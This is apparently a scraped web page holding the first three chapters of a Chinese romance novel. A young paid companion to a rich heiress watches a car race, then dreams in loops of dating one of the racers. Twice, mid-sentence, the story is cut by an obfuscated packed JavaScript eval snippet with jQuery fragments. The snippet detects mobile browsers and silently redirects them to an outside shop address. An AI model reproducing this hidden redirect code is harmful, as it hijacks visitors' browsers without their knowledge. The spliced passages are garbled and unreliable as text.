《平平无奇,但她是万人迷!》
1. 第1章
电话铃声不间断响到第二轮,伴随机身振动发出嗡鸣,急促又密集。
半晌,蜷缩着沉睡在床上的人有了动静,林颂宜从被窝里探出一只手,在枕边一通胡乱摸索。
指腹划过冰凉屏幕接通来电,熟练按下免提。
“你怎么才接电话啊?”听筒里传来的声音,散漫中带着点嗔怪。
这边没有立刻回应,静默一瞬,对面后知后觉想起林颂宜这两天在休息,人还病着。
对方的语气立时收敛转为关切,问她:“你人好点了吗?”
刚退完烧,林颂宜人还迷糊着,她强迫自己完成意识归拢,开口解释:“吃过药睡得比较沉,好的差不多了。”
瓮声瓮气,却是一如既往的体贴。
非必要这位雇主不会打电话,这会儿功夫,林颂宜已经自觉进入打工状态。
“韫韫今天有比赛,你陪我去。”大小姐临时起意,理直气壮,“这几天算你三倍加班费。”
肢体反应慢了一拍,大脑已经先一步精确计算出加班薪酬,前一瞬产生的逆反情绪,在三倍薪资的安抚下瞬间清零。
能行。
“好,我收拾一下就过去。”
“等你哦。”
通话结束,林颂宜因惯性上扬的嘴角也随之拉平。
忘了是何时练出来的本事,即便对着虚空,她也能随时随地调动情绪变换表情。
才经历过一场高热,此刻眼睛干涩酸胀的厉害,通话全程林颂宜都不曾睁开眼,太阳穴那块也隐隐作痛。
好累。
但赚钱要紧。
手机很快又响起一连串信息提示音,短暂无视,林颂宜放任自己舒展身体在床上摊成一个“大”字。
片刻后,缓缓吐尽胸中那口浊气,林颂宜打起精神翻身起床。
十多平的单人公寓里,麻雀虽小五脏俱全,东西少,平时又收纳归置的整齐利落,一个人住着倒也还行。
如果不需要7*24小时积极响应雇主的召唤,同样的价格,可以在偏远些的地段住得更舒服。
有得必有失。
人总不能既要又要。
计算着出门的时间,林颂宜往微波炉里放入一小碗牛奶,同步和管家快速沟通完出行安排,随即进入浴室。
狭小逼仄的卫生间内很快氤氲起一层水雾,略高于体温的水流冲刷过肌肤,带走因为出汗而附着在身上的黏腻感,周身毛孔重新恢复呼吸,热流让全身的气血运行恢复顺畅,在热水的涤荡之下,头痛终于得到舒缓,林颂宜这才觉得舒服一些。
温热的气流从风口泄出直达头皮,纤巧灵活的手指穿插在乌发之间轻柔抖动,热风快速挥发掉头发上的水汽,凌乱黏连的发丝重新变得丝滑柔顺,头皮也恢复到干爽舒适的状态。
拔下电源,充斥在耳边的电机声随之消散,林颂宜抬眼望向镜子里的人。
黑色长发柔顺地披落在肩头,表情放松,眼神清正柔和。
得益于这些年长期坚持防晒,现在她的肤色已经白净许多,五官没有特别出挑的地方,既不招摇,也不至于丑得令人生厌。
中人之姿。
前段时间忙着赶论文,连日休息不佳,此刻她眼下疲态明显,加之生理期到来前综合征作祟,脸色看着颇为黯淡,林颂宜不免想叹气。
打工人的怨气今天也很重。
有条不紊做完面部保湿,熟练遮盖住眼下那抹倦怠的淡青色,又在脸上擦了点隔离霜用以提亮肤色。
林颂宜的眉毛长得好,眉形自然流畅,多数时候只需要修理些许杂毛,不上浓妆几乎不需要多做修饰。
常年坚持护肤的功夫没白费,林颂宜脸上没有太多瑕疵需要遮盖,她便也不常擦粉底,主要还是不喜欢脱妆后的斑驳,容易造成脸上脏兮兮的视觉冲击,最后在T区轻轻扫上一层散粉防出油,结束妆面基础修饰。
全程大概只花了五分钟。
依旧是素净寡淡的一张脸,但看起来清清爽爽,气色也好了不少。
换好一身简洁舒适的装束,林颂宜手上动作不停,熟练地将头发在脑后挽成个低扎发,借助尖尾梳将头顶的头发挑得蓬松些,既能修饰发际线,又能调整面部比例显得更干练。
林颂宜对自己的穿搭妆发需求明确,十分清楚生活和上班的界限在哪。
工作时间,陪同雇主出行不能丢雇主脸面,还要足够安分内敛。
端详片刻,林颂宜转身从微波炉里拿出热牛奶,时间控制的刚刚好,加热后的牛奶放置到此时,温度适中。
她往里面舀入两勺即食麦片,搅合搅合就这么送进嘴里。
谷物和鲜奶混合的气味冲击着口腔,林颂宜不喜欢奶制品中油脂的味道,但温热的食物能为胃部带来暖意,吞咽的动作因此顺利许多。
寡淡,饱腹,高效。
几分钟解决完一顿饭,甚至还有时间将碗勺冲洗干净。
重新漱口后,她才在唇上薄薄晕染上一层唇釉,哑光质地的干枯玫瑰色被轻柔均匀地推开,指尖残留的一点也没浪费,被她点在了苹果肌偏靠上的位置。
少许的颜色点缀,使林颂宜整个人看起来明亮不少。
林颂宜有一套自己的做事准则,比如拿人钱财办事,就要尽量做得好一点。
比如此刻,计划外的加班行程,她依旧会在能力范围内做到最好。
公私分明。
虽然难免被人评价过于温驯老实不够聪明,林颂宜心里门清,根本是自己没有讨巧的资本,才需要牢牢抓住仅有的机会。
笨点有笨点的好处。
换好鞋子,拿上提前备好的短途出行行李。
关门落锁。
***
赶在雇主要求的时限内,林颂宜顺利抵达。
“小林来啦?”住家阿姨见到人便迎了上来,对着在换鞋的林颂宜悄声提醒,“清越今天心情不太好,吵架了。”
最后三个字,声音压得很低。
王阿姨也是从国内跟着过来照顾的,一向有分寸,又自知自己年龄大,跟不上年轻人的想法,很多时候,纵使有心想说什么,也不知道该如何开口。
林颂宜这个陪读脾气好又有耐心,王阿姨和她一起工作相处融洽,林颂宜这些年和雇主也相处得宜,秉着共创良好工作氛围的共识,双方配合默契。
“我去看看。”
林颂宜走向客厅。
李清越正仰靠在沙发上欣赏自己新出炉的美甲,美甲师则在一旁收拾着一应物什。
见林颂宜过来,李清越摊开两只手给她看:“好看吧?”
林颂宜认认真真欣赏片刻,点头认同:“好看,颜色很衬你,显白又贵气,甲型和长度也选得好。”
李清越乐滋滋冲她一点头,笑道:“我也觉得不错,还得是自己挑配色才好看。”
末了,又和林颂宜吐槽:“那些浮夸的造型配色,我是真欣赏不了一点。”浑然一副心无挂碍的模样,半点看不出她心情哪里不好。
林颂宜便也不多说什么。
见美甲师收拾完工具箱,林颂宜向她支付费用,又仔细在账单里做好记录方便月底核账,这才在一旁的沙发上坐下。
李清越忙着为新出炉的美甲拍照分享,抽空问林颂宜:“都准备好了?”
“吴管家已经通知机组就位,直升机随时可以起飞,飞行全程预计需要一个半小时,我现在去替你收拾出行要用的东西,稍后由司机送到下榻酒店。”
李清越抬手朝林颂宜挥了挥,头都没抬:“你看着办就行。”她一向不耐听这些细节,但这不代表林颂宜可以不走流程。
李清越欣赏够了新美甲,很快丢开手机径直朝衣帽间走去,林颂宜自觉跟上。
前者随意挑着出行要带的东西,林颂宜一一接过,尽数收纳进箱子,动作又轻又快,很快就打包好行李。
李清越化妆的时候,林颂宜自然且熟练地帮她卷头发,她的手法很娴熟,比李清越自己更清楚,哪种卷度的效果与自身更适配。
李清越抽空和林颂宜闲谈:“哎,你知道付绪然吗?”
“听过这个名字,但没见过本人。”林颂宜说着话,手上的动作却没停,“怎么了?”
没得到自己想要的反馈,李清越谈兴消减大半,但还是忍不住感慨:“本人长得是真好看,也是真难搞。”
闻言,林颂宜出声应和:“那我可要好好多看几眼,以后不一定还有这样的机会。”
透过化妆镜,能看到林颂宜专注做事的侧脸,垂眸敛笑,透着股认真劲。
李清越将手里的腮红刷放到一旁,状似不经意问她:“回国的事,你想好了?”
林颂宜抬眼,恰好对上李清越。
见她一副愣住的表情,李清越莫名就被那股老实劲取悦,认真和她道:“你想好了就行,实在不成你就还回来给我当助理,到时候工资再给你提两成。”
李家开得薪资不菲,再提两成,比起市场目前的平均水平,待遇算得上丰厚。
林颂宜笑着应下:“好啊。”
平心而论,林颂宜很感激李清越,当初如果不是她选了自己做陪读,生活未必能如现在这样顺利。
将最后一缕头发卷好,林颂宜又帮着打理好细节,确保每根发丝都被仔细关照过,才开口询问:“这样可以吗?”
“手艺真好。”李清越点头认可,“差不多了,走吧。”
***
李清越大部分时间,都和未婚夫住在市中心的大平层,通常只在家人来A国的时候,才会回李家在A国的庄园住几天,这里平时由管家带着专人维护。
这趟行程,原本李清越计划和男友陈松野一起出行,用不上林颂宜随行,林颂宜也乐于趁机休息两天。
但事情就是这么不凑巧,好不容易休息两天,林颂宜又被流感放倒,一退烧就又得干活。
李颂宜无奈,觉得自己大概是个天选打工人。
一早得知要到庄园待命,林颂宜就猜,八成是小情侣又吵架了,刚才王阿姨的提醒也验证了她的猜想。
花园旁的空地上,直升机已经等候多时,林颂宜引着人先一步落座。
螺旋桨带起的气旋吹得她险些踉跄,噪声喧嚣,林颂宜不得不提高说话的声量,和管家交接完毕,直升机顺利起飞。
李清越径直倚靠在座位上,手指在手机屏幕上噼里啪啦一通操作,架势虽摆的足,但根据以往的经验,她越是这么直白袒露情绪,事情就越小,雷声大雨点小。
林颂宜估摸着,这回吵架等不到隔天就能和好。
刚才高声说话扯到了嗓子,本就不太舒服的喉咙愈加发紧,这会儿难受的厉害,林颂宜只静坐在一旁,拿着随身保温杯兀自小口啜饮,目光不自觉间投向窗外。
云海翻涌霞光耀眼,天地广阔,目之所及皆无阻塞,思绪也跟着发散开来。
十四岁的林颂宜不会想到,二十七岁能在异国他乡看到这样的风景,彼时的她,连下一顿饭能否吃饱都无法保证。
但林颂宜感谢十四岁的自己,感谢那个在黑暗中无畏逃离的女孩。
十四岁被迫辍学,林颂宜做出此生最勇敢的决定。
逃离大山。
一路磕磕绊绊,不敢寻求帮助,怕未满十八会被遣送回家。
好在颠沛流离的生活没有持续太久,老天也尚且留有温情,相关部门在了解她的情况后,为她匹配了匿名资助人。
重返校园后,日子不算好,但也不算坏。
虽然生活拮据了些,但同学和睦师长友爱,几年时间倏忽而过。
那些年岁,林颂宜觉得,自己就像一颗被冻土深埋的种子,水寒土冻,活得看似平和,实则早已封闭对外界的感知,一门心思积蓄能量,期待有朝一日破土而发。
转折在大四的暑假,彼时林颂宜靠着多年的兼职经验,已经熟练掌握数种兼职技能。
多舛的命途迎来转机,当时忙着毕业论文的同时,林颂宜还得找兼职赚取足够的生活费。
在连续一周受挫后,林颂宜尝试在网上发布求助帖。
当晚,林颂宜忙完打开帖子的时候,李清越那条评论已经被顶到最前排。
但因为给出的待遇过份优厚,被林颂宜默认为诈骗信息,直接忽视。
结果第二天,林颂宜的私信就收到了一条面试邀请。
经过多方查证,林颂宜最终确定,自己是真的走运了。
为谋生计兢兢业业的林颂宜,就这么撞上了乐善好施的李清越。
两人的交情由此展开。
天真璀璨的富贵花,遇上正被霜雪疾风摧残的修竹,李清越算是真正意义上,第一次真切见识到人生的另一面。
不太好的一面。
迄今为止,林颂宜都觉得这是自己此生最幸运的际遇。
大抵是被林颂宜的经历打动,也许还有少女时期的英雄主义存在,总之大小姐李清越很是同情这个同龄人。
李清越决定伸出援手。
最初只是为期两个月的暑期陪玩,两个月的时间,李清越最后支付了五万报酬。
在当时,那是一笔足以震撼林颂宜的收入。
而在暗地里,林颂宜这两个月的表现,连同过往履历被人完整查阅,林颂宜在自己不知情的时候,通过了一场考核,李家在李清越出国之际,向林颂宜正式发出陪读邀请。
学费由李家垫资,每年再从林颂宜的工资里扣除,条件是林颂宜需要事事以李清越为先。
林颂宜没有任何犹豫,因为现实原因被迫暂停的深造计划,突然就有了转机,这对林颂宜而言实在是一件很惊喜的事情,她只知道这是自己当下最大的机遇。
李清越也不曾告诉她,在接受邀请的时候,林颂宜眼神中的感激几乎要溢满,就差将【我会报答你】这句话宣之于口。
之后的日子里,林颂宜一直尽职尽责陪在李清越身边,学业再忙,只要李清越有需要,林颂宜都会以她为先。
好在李清越
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026383|194430||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也不是什么废物纨绔,自己就经常能忙到昏天黑地,两人最常做的事情,要么是通宵赶作业,要么就是在实验室连轴转。
但林颂宜总会自觉多承担一些,也从不邀功,做这一切都是发自本心。
真诚是最易被人感知到的情感。
林颂宜的付出,完全配得上李家支付的酬劳,甚至超出李清越最初的预期。
而今李清越学有所成,林颂宜也到了能自主决定去留的时候。
“联系你了吗?”
没头没尾的一句问话,瞬间拉回林颂宜散漫的思绪。
林颂宜摇头:“还没有。”
“不联系拉倒。”愤怒值又攀升一截,李清越语气里的那股气恼更甚,“韫韫已经到了,你不许通风报信。”
“好,我绝对站你这边。”弯眼浅笑,林颂宜给出的回应情绪价值拉满。
***
天高云阔,晴阳绿荫,两旁豪车列队人头攒动,正中赛道蜿蜒似无尽头,张扬热烈的西尔贝匍匐在地,霍明韫着一身合体赛车服,烈如炙阳,衬得她愈发明艳大气。
远远的,林颂宜俩人就见她支着长腿,曲臂倚靠在车前,正和队友说话。
似有所感,霍明韫抬头望向俩人所在方向,抬手朝她们示意。
“哇塞!韫韫,你这一身好厉害!”走到近前,李清越由衷赞叹。
林颂宜紧随其后,双手抬至胸前,很认真比出两个大拇指:“超帅。”俨然也是迷妹一个。
霍明韫被她俩可爱到,禁不住露出点笑意,又有些小得意:“帅到了?待会儿还有更帅的。”
李清越“嗯嗯”点头,眼神却径直飘向一旁的烈焰尤物,转而又眼巴巴望回霍明韫,小心思昭然若揭。
霍明韫也乐意惯着好友:“晚点带你上手过过瘾。”
“好啊。”李清越应得欢快。
霍明韫还要为下午的比赛做准备,将人安置到队友席最佳观赏位,打过招呼后先行离开。
这不是她们第一次来看霍明韫比赛,队里的大部分人以前都打过照面,俩人坐下后,李清越很自然地与左右寒暄交谈,林颂宜则是习惯性观察一遍四周的情况,才收回视线专注眼下。
场上五盏信号灯同步寂灭,引擎瞬间提速,轰鸣声四起,道道利箭弹指离弦一往无前。
霍明韫驾驶的7车起步领先,驾驶风格一如她本人,谨慎敏捷,并驾齐驭不留余地,弯道超车利落果断。
整场比赛全程大约305公里,需要差不多2小时,十分考验赛车手的体力和耐力。
第一段赛程,霍明韫稳稳抢先在首位。
其后快速进场换胎,中途先后被两辆车追赶,依旧稳稳排在第四位。
直至最后冲刺阶段,霍明韫驾驶的7车始终保持在前五。
林颂宜虽然不能完全听懂那些专业解说,但不妨碍她目光灼灼盯着7车,双手紧紧交握,心脏砰砰作响,此刻的她,甚至连自己都没意识到,她比霍明韫本人更想赢。
这一段比赛,所有选手都变得更为谨慎上心,位次排序个顶个咬得很近。
原先不显山不露水的11车,在连超两车后并上了前头的7车,交错拼杀间很快拉开距离,顺利和7号车的霍明韫同时占据第二的位置。
双方接连并列闯过两道弯,察觉到11车想从内侧超车,霍明韫紧忙压制缩窄间距,不曾想前头两次都是虚晃一枪,第三次对方瞬时提速极速漂移从外围破圈,霍明韫被气势所逼险险避开寸许,11车又精准预判前车,找准时机快速过弯,以极快的速度超越首车,最终抢得第一。
棋差一招,最终霍明韫屈居第三,气得她下场后直捶方向盘。
在林颂宜仅有的观赛经验中,尚未见过这么不要命的玩法,眼神不由自主跟随11车远去。
她实在好奇对方是什么人。
11车稳稳驶出赛道滑入旁边的车队,车门打开,长腿落地,一道颀长身影从车里出来,男人背对着林颂宜,头盔被掀开,她只能看到一头稍显凌乱的黑发,肩宽腿长气势逼人。
李清越将下巴抵在林颂宜肩上,视线和她看向同一个方向:“喏,这人就是付绪然,别看他刚才在场上耍得一手帅,韫韫早晚能赢他。”
“我赞同。”
二人同仇敌忾,眼里没了对帅哥的欣赏期待,全是对敌人的不忿。
心有偏颇,皮相再好也越不过天枰这头的自己人。
***
她俩正说着,察觉有道身影在李清越身旁落座,以为是霍明韫,俩人双双转头要向她道贺。
来人是陈松野,李清越的未婚夫。
林颂宜极有眼色,见霍明韫正巧朝这边走来,俩人视线交汇,霍明韫露出了然神色,走过来很自然地将林颂宜带离风暴圈。
留一对闹别扭的有情人自行和解。
跟着霍明韫去往后场休息室,林颂宜连连感叹:“韫姐你好厉害!”全然一副拜服模样。
这样的比赛,因为诸多因素叠加,能入围的女车手本就稀有,霍明韫能闯进前三,在林颂宜看来真的是很厉害的一件事。
诚挚的赞赏实在是令人身心愉悦,霍明韫霎时心情大好。
“走吧,韫姐请你吃大餐。”
“好耶。”
两人说话的功夫已走至通道口,恰巧遇上另一行人,为首并列的两人正巧也在低声交谈。
狭路相逢。
既无戏剧对峙,也无熟络热聊,双方只友好打了声招呼便要相互错开。
对方为首的两人先一步停下让出空间,林颂宜凭借刚才的印象,认出其中一人是付绪然。
这男人长着一张极为招摇的脸。
俊眉修目眼型狭长,此刻眉头压得有些低,睫羽低垂,落日光辉透过天窗落到他脸上,隔着距离叫人看不清神色,却又徒增几许压迫感。
林颂宜只看了个大概,很快收回眼神,紧跟着霍明韫准备离开。
“涛哥。”
突兀的一声招呼,众人下意识齐齐朝声源处看去。
陈松野朝着这边挥了挥手,牵着李清越一块过来,俩人姿态亲密无间,仿佛此前的争吵不复存在。
被叫涛哥的,是个身材健硕的男人,见友人和自己打招呼,也走上前与之攀谈。
陈家是做橡胶生意起家的,这些年产业范围涉猎日渐广泛,林颂宜隐约记得李清越说过,陈家有意在轮胎制造业上再拓展一部分业务。
如此一来,陈松野和车队有联系,也就不奇怪了。
见他们一时半会聊不完,李清越径直走向林颂宜和霍明韫。
“韫韫~”
李清越才起了个头,霍明韫闻声知意,笑道:“走吧。”
“好嘞!”
由着李清越跑了个尽兴,霍明韫主动提出带着林颂宜跑两圈,车子刚到手没两天,她自己也还没过完瘾。
见李清越跑得痛快,林颂宜也确实心动了。
至于体验感嘛……只能说——太棒了!
2. 第2章
拥有流线型车身的“大蜥蜴”,似一簇流火一骑绝尘,刚才带着林颂宜兜圈的时候,就发现她其实有些紧张,考虑到林颂宜对速度的承受力有限,霍明韫没有将速度提得太高。
纵使这辆超跑拥有V8发动机搭载双涡轮增压系统,最高输出马力可超1700匹,此时也只是略微领先后车,保持着不远不近的距离,确保后车不掉尾。
林颂宜不懂跑车,但能感受到车速快慢产生的体验感差异,于她而言体验感拉满又感到舒适的时速,想来是霍明韫有意为之。
想到这,林颂宜偏头朝驾驶座的人表达谢意,霍明韫付之一笑:“这有什么好谢的。”
二人一路随口闲聊,话题很快转到林颂宜毕业后的工作安排。
霍明韫不是话多的人,交谈意愿因人而异,她和林颂宜接触的也不深入,能聊的东西有限,但对方挺合眼缘,投了她的脾气,霍明韫就乐意多聊几句。
说话间,二人率先抵达用餐地点,另外二人紧随其后。
李清越一路追在后头,四人落座后直言后悔没能坐上霍明韫的副驾,惹得男友陈松野又好气又好笑,偏又不敢说她,一路哄着过来。
刚才在赛道上跑得很痛快,以至于李清越对驾驶体验念念不忘。
成功磨着霍明韫答应回程让渡驾驶权,李清越才心满意足开始点菜。
一顿饭吃得欢畅,结束后,霍明韫开走陈松野的车代步,李清越载着男友欢欢喜喜开走那辆心头好,扬言要再过把瘾。
林颂宜则自觉打车回到下榻酒店,她还有工作需要提前做好安排交接。
考虑到陈松野的临时加入,林颂宜在完成相关安排后,又另开了一间普通大床房。
在这种小事上,李清越作为雇主一向大方,但林颂宜心里有数,从不僭越,只会在标准答案内进行操作。
晚上十点钟,林颂宜才在酒店大堂接到俩人,同时也得知行程有变动,和李清越两人确认过之后的行程安排,林颂宜径直退出套房为二人留下空间。
普通客房的设施也很齐全,林颂宜舒舒服服洗了个澡,保险起见又吃过一次药,这才安心躺到床上,只觉浑身轻飘飘,很快便进入黑甜梦乡。
***
突如其来的一阵顿挫感袭来,林颂宜从黑暗中被惊醒,脑中混沌,整个人一时有些飘飘忽忽。
她很快反应过来。
又做梦了。
大概是现实生活压力太大的缘故,林颂宜偶尔会做梦,梦境内容五花八门,梦境体验无比真实,且支配权很高。
唯一不太好的,就是梦境容易在某些节点反复重现,直到她顺着梦境完整解锁正确剧情。
最开始的时候,林颂宜曾梦见自己反复复习准备,然后参加同一场考试,一而再,再而三,最后烦得她暴躁摆烂直接放空,虽然成功得以入睡,但第二天梦境又开始重现。
同一个梦,反反复复重现了一周,林颂宜都被气笑了。
得益于梦中的反复学习,林颂宜那个期末周,某一科选修成绩得了史上最高分。
经此一遭,林颂宜开始转变思路,就当是睡着了在玩游戏,反正梦里做再多事情,也不影响醒来精力充沛。
堪比全息的梦境体验,适应之后,她倒也觉得挺有趣。
闭眼,再睁开。
林颂宜成功解锁梦境身份。
【外科医生林颂宜】
乘坐的车辆此刻正平稳行驶在路上,林颂宜看了眼手机,界面显示着当前行程,距离目的地预计还有二十分钟。
今天的梦境剧情又是什么?
已知现在正在赶往比赛现场,为了挤出时间去看男友比赛,自己提前一周就开始和同事协调换班,又连续熬转两个大夜,才险险赶在7点前离开医院。
加班累死累活就为了奔赴一场比赛。
林颂宜对此做出中肯评价。
是真爱。
恋爱本,没玩过。
此前都是些日常向的剧情副本。
现实忙着工作和学业,林颂宜压根没精力搞情情爱爱,而且她潜意识里知道,自己虽然条件普通,对伴侣的要求却极高,只是从来不诉诸于口罢了。
所以这会儿,林颂宜还挺好奇梦里的自己会如何谈恋爱。
很快,手机提示有消息进来。
【真的来不了吗?】
【小狗丧气.jpg】
备注【勇敢狗狗】。
林颂宜:“……”
手指就着信息界面快速向上翻看,梦境所提示的聊天记录很少,往上也只有6条对话。
通过对话内容可知,自己明确表示工作很忙抽不出时间,但是也对【勇敢狗狗】进行了情绪安抚。
所以,今天的剧情是人为制造惊喜?
林颂宜很快确认。
这符合自己的处事风格。
拒绝邀请大概率是工作真的忙,不确定是否能抽出时间,才会在此前直接拒绝,不拖泥带水,让人升起期待后又再次失望。
车子很快在一个赛车场的入口处停下。
和白天现实里的那个赛场不同,这次是环山跑道。
林颂宜从包里找到入场券,凭借特邀嘉宾的身份,一路顺利来到候场区,刚通过内场安检口就被人叫住。
大脑自动解锁眼前这位的身份信息,来人是车队的工程师,大家都叫他涛哥。
涛哥径直走向林颂宜,招呼她:“小林医生。”
不等林颂宜反应,涛哥伸手将手里的东西塞给她:“来得正好,你家那位就交给你了。”
“……”
“你家那位”到底是谁?
倒是给点提示啊。
林颂宜伸手接过简用医疗包,试图寻找有效信息,结果自然是一无所获。
“他们在那边,你自己过去吧。”涛哥开口,同时用手往某个方向一指。
林颂宜顺势看去,确认方向,对着涛哥礼貌道谢:“谢谢涛哥。”
“嗐,自己人,甭客气。”
顺着刚才涛哥指引的方向走去,不多时,迎面撞上一个人。
林颂宜见对方视线牢牢锁定在自己身上,目标明确地朝自己跑来,险险在半步外停下,十分欣喜地问她:“姐姐,不是说来不了吗?”声音里充斥着满满的活力劲儿。
赛车手,林宇川。
看清人脸,林颂宜有一瞬的沉默。
耳际不由自主开始发热。
这个人——是今天遇到的那个,和付绪然同行的那个男人。
林颂宜不记得现实里,自己曾在哪见过或听过这个名字,或许是梦境编造的人名。
她回过神,刚一抬眼,就对上一双水润的桃花眼,眸光晶亮,皮肤白净鼻梁高挺,大概是日头太烈的缘故,林宇川脸上还透着一层薄红,笑容十分璀璨。
真的很像……活力小狗。
姐姐……
自己的择偶倾向居然是想谈个年下?
也不是不行。
抱着解密的心态,林颂宜接受了情景设定。
虽然是做梦,林颂宜心下那抹尴尬的情绪,还是忍不住反复冒头。
毕竟眼前这位,是现实里才刚见过的真人,虽然交集几近于无,醒后也无人知晓,林颂宜还是觉得有些不自在。
甩开乱七八糟的想法,林颂宜尝试将眼前的情况,视作梦境建模的借鉴操作。
无所谓了,反正是做梦,当不得真。
“很开心?”林颂宜试探问他,“喏,给你。”又顺手将医疗包递给对方。
林宇川的眼里有一瞬闪过错愕,很快,他嘴角的笑意以肉眼可见的速度加深,伸手接过东西。
林颂宜蹙眉,她没有错过那刹那的异样。
哪里不对?
“姐姐还记得我的手伤了。”林宇川双手拿着医疗包,看起来很珍视这份心意,“不要紧的,谢谢你的礼物,我很开心。”
“聊什么呢?”
几乎同时,一道冷冽的声音似刀剑劈开平和气氛。
林颂宜:“?”
……搞错对象了?
来不及看清,眼前场景迅速扭曲破碎。
下一瞬,梦境重建。
林颂宜回到车上。
林颂宜:“……”
又来。
不通关梦不停。
林颂宜的胜负欲莫名燃起。
这回林颂宜有了经验,先在手机联系人里尝试搜索【林宇川】,很快跳出一个联系人,头像是一只简笔画小狗,戴着墨镜穿着黑色高领毛衣,认不出是什么品
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026384|194430||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
种。
看着头像,林颂宜心下升起一丝不自在。
点开对话框,收获一片空白。
林颂宜:“……行吧。”
探索无果,林颂宜放下手机,重新翻找一遍自己的背包,除了一些自己出行必备用品,还有一包肌内效贴。
场景重现。
下车,和涛哥接头,又撞上林宇川。
“姐姐,不是说来不了吗?”
一回生,二回熟。
林颂宜这回不再像上次那般表现亲昵,而是保持着社交边界,笑着回应:“刚好忙完就来看看。”见林宇川没什么表示,林颂宜又问,“他人呢?”
桃花眼错开视线,林宇川脸上的笑容收了些:“我带你过去。”
二人并排前往,不多时就到了地方,林宇川示意:“在那,姐姐你去吧,我就不过去了。”
看清那人,林颂宜头皮又是一紧。
怎么会是付绪然?
这梦境的人物建模,净搞些让人尴尬的操作,逃不开真人了是吧?
手指无意识抓紧,林颂宜的耳际几乎在下一秒开始发烫。
虽然在上一轮,已经经历了林宇川这个真人的冲击,重来一次,林颂宜还是觉得尴尬。
林颂宜站在原地,垂下眼睫自我开解。
是梦,是梦。
现实压力这么大,梦点刺激的很正常。
林颂宜刚做好心里建设,肩膀就被人揽住。
来人动作很娴熟,林颂宜被他半拢进怀里。
“来了怎么不告诉我?”付绪然语气里有着显而易见的雀跃,眼里盛满惊喜,全然不见上一轮的森冷气息。
“你们聊,我先走。”林宇川朝林颂宜点头示意。
擦肩而过的瞬间,眼前空间再度扭曲破碎。
梦境重置。
林颂宜:“……?!”
林颂宜平时不玩游戏,对游戏所知甚少,李清越有段时间倒是经常玩,林颂宜根据以往旁观的经验,结合上一轮,很快理出一点头绪。
假设林宇川和涛哥对应游戏NPC,如果答应涛哥的要求,是问路的“条件”,相应的,第一轮已知林宇川手也受了伤,而自己包里还有一包“道具”,那这个“道具”就应该是林宇川的交换筹码。
逻辑通顺。
流程再次刷新。
“你们聊,我先走。”
擦肩而过的瞬间,林颂宜开口叫住林宇川:“等一下。”
林颂宜从包里拿出那包肌内效贴递给对方:“这个你应该用得上。”
两人对上视线,见他不动,林颂宜又把东西朝前递了一下,林宇川反应过来伸手接过,对着林颂宜笑得真心实意:“谢谢,我很需要。”
“不客气。”
“我先走。”林宇川挥了挥手里的东西,提步离开。
“你怎么知道他受伤了?”
“?”
林颂宜偏头看向付绪然,一时无言。
总不能说是自己上一轮刷出的经验?
见他一副不满的模样,林颂宜福至心灵,耸动肩膀脱离对方揽着自己的胳膊,顺势将手里的医疗袋往他怀里一怼:“喏,你的。”
见对方面上情绪依旧不高,林颂宜选择相信自己的恋爱天赋,直球出击:“走吧,我帮你热敷。”
***
林颂宜看着眼前的这一幕,又一次刷新了对梦境剧情的认知。
薄肌,冷白皮。
完美狙中林颂宜的审美。
但是……检查个手臂,有必要把上衣脱得这么利索吗?
径山坦荡多起伏,满目酥雪飘点红。
忽视视觉冲击,林颂宜犹豫着抬手,半晌才搭上男人的手臂。
微凉的指尖与灼烫的臂膀相触,林颂宜细致地为整条臂膀按压放松,手指沿着经络寸寸疏导开,手下的小臂肌肉却寸寸收紧,落到脸上的那道视线也越发灼人。
林颂宜被这极具侵略性的视线盯着,耳尖泛红心跳加速。
这气氛太奇怪了。
被盯得不自在,林颂宜收回手站直身体。
视线交汇,对上了付绪然那双满含疑惑的眼睛。
空间再度扭曲破碎。
林颂宜:“?”
草。
3. 第3章
梦境重置。
再次回到车上,林颂宜闭了闭眼,深吸一口气,重新开始梳理思路。
对于越挫越勇这件事,林颂宜觉得自己还挺厉害。
回顾前两次的经验,林颂宜捡起了被自己忽略的知识点。
这是她自己的梦境。
自己是梦境的主人,那最关键的人物就该是自己。
林颂宜没忘记,刚才那一次梦境循环,记忆里最后一个画面,是付绪然充满困惑的眼睛。
对方为什么会疑惑?
是自己的行为出现了偏差吗?
林颂宜开始揣度当前的梦境身份。
自己现在是个医生。
一个医者,即便面对的是自己的恋人,在做与治疗相关的事情时,也该拿出专业的态度,而不是分心去在意一些有的没的。
想通这一点,林颂宜又觉得有些好笑。
做梦果然当不得真,现实里时刻谨记在心的事情,到了梦里反而忘了个彻底。
***
再次对上付绪然,林颂宜已经能做到心如止水。
顶着对方灼烫的视线,林颂宜抬手打破旖旎氛围,掌下施力轻拍提醒:“老实点。”
接收到警告信号,男人有所收敛,但依旧不舍得移开分毫目光,只伸着手任由林颂宜摆弄。
此刻的林颂宜,脑中拥有完整的医疗知识体系,出手的每一个动作都显得专业且干练。
周身笼罩着一层,与她自身气质完全相悖的冷肃。
既矛盾又和谐。
林颂宜替付绪然在手腕处贴上肌内效贴,出于职业习惯,又认真嘱咐他自己赛中多注意。
林颂宜在现实里,跟风玩过几次乙女游戏,梦境这种过于真实的体验,和面对二次元纸片人的感觉完全不同。
心里知道眼前这个人是自己的男朋友,被他热切地长久地注视着,总有种边界被侵蚀的错觉。
